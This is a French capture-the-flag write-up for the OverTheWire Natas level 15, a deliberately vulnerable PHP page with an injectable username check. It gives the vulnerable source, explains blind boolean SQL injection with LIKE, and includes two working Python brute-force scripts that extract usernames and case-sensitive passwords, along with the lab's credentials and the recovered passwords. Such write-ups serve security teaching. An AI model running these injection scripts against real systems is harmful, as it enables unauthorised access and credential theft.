Natas 15
Level Goal
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL: http://natas15.natas.labs.overthewire.org
En se connectant à la page du challenge 15 (curl http://natas15.natas.labs.overthewire.org -u natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
) on accède à un formulaire permettant de valider l'existence d'un nom d'utilisateur dans une base de donnée :
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
Avec le code source suivant :
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
Ici il n'y a pas de possibilité pour pouvoir afficher directement des informations concernant un utilisateur. Trois scénarios sont possibles :
- si la requête SQL retourne au moins une ligne de donnée on obtient le message
This user exists
- si la requête SQL ne retourne pas de donnée on obtient le message
This user doesn't exist
- si la requête SQL échoue on obtient le message d'erreur
Error in query
Une solution pour résoudre ce problème est d'utiliser l'opérateur SQL LIKE. En effet, sachant qu'on peut exécuter la requête SQL de notre choix, si l'on demande au serveur d'exécuter :
SELECT * from users where username="" or username LIKE 'a%' #
Deux réponses sont possibles :
- soit il existe un utilisateur dont le username commence par la lettre
a
, auquel cas on aura un message nous confirmant que l'utilisateur existe - soit il n'y pas d'utilisateur dont le username commence par la lettre
a
, auquel cas on aura un message nous indiquant qu'il n'existe pas
Si l'on obtient un message nous confirmant que l'utilisateur existe, il ne nous reste plus qu'à essayer l'ensemble des combinaisons à 2 lettres possibles : aa
, ab
, ac
etc.
Ainsi on aura la possibilité d'identifier l'ensemble des utilisateurs de la base de donnée. La même chose est possible avec les mots de passe utilisateurs : on peut identifier la liste des caractères composants un mot de passe un à un : sachant que jusqu'à maintenant les mots de passe d'épreuve étaient composés d'une suite de 32
caractères alphanumériques (62
caractères possibles), il faudra dans le pire des cas 32 x 62 = 1984
essais pour déterminer le mot de passe d'un utilisateur.
Trouver les noms d'utilisateurs
Cette attaque par force brute peut être implémentée en python :
import requests
import string
CHARACTERS = string.ascii_lowercase + string.digits
USERNAMES = []
def query(username):
exploit = f"""" or username LIKE '{username}%' #"""
payload = {"username": exploit}
response = requests.get(
"http://natas15.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
)
return response.text
def testUsername(username=""):
new_char = False
for i in range(0, len(CHARACTERS)):
if("This user exists" in query(f"{username}{CHARACTERS[i]}")):
new_char = True
testUsername(f"{username}{CHARACTERS[i]}")
if(len(username) and not new_char):
USERNAMES.append(username)
testUsername()
print(USERNAMES)
La façon dont ce script fonctionne est la suivante :
- on exécute la fonction
testUsername()
pour tester tous les lettres en minuscule et chiffre - si la requête retourne
This user exists
, on appel de nouveautestUsername()
de façon récursive de manière à ajouter un nouveau caractère à tester - si une fonction
testUsername()
fini de s'exécuter sans avoir trouver de nouveau caractère et si la valeurusername
fait au moins un caractère de long cela indique que l'on vient de trouver un nom d'utilisateur
En exécutant ce script on obtient la liste des utilisateurs :
['alice', 'bob', 'charlie', 'natas16']
Trouver les mots de passe des utilisateurs
En se basant sur le code ci-dessus et en l'adaptant on peut écrire ce script Python :
import requests
import string
CHARACTERS = string.ascii_letters + string.digits
USERNAMES = ["alice", "bob", "charlie", "natas16"]
PASSWORDS = {}
def query(username, password):
exploit = f"""{username}" and password LIKE BINARY '{password}%' #"""
payload = {"username": exploit}
response = requests.get(
"http://natas15.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
)
return response.text
def testPassword(username="", password=""):
new_char = False
for i in range(0, len(CHARACTERS)):
if "This user exists" in query(username, f"{password}{CHARACTERS[i]}"):
new_char = True
testPassword(username, f"{password}{CHARACTERS[i]}")
if len(password) and not new_char:
PASSWORDS[username] = password
for name in USERNAMES:
testPassword(name)
print(PASSWORDS)
L'utilisation de LIKE BINARY
dans la requête SQL permet de s'assurer que la requête est sensible à la casse, ce qui permet de distinguer majuscule et minuscule dans le mot de passe.
En exécutant ce script on obtient la liste des utilisateurs avec les mots de passe associés :
{'alice': 'hROtsfM734', 'bob': '6P151OntQe', 'charlie': 'HLwuGKts2w', 'natas16': 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'}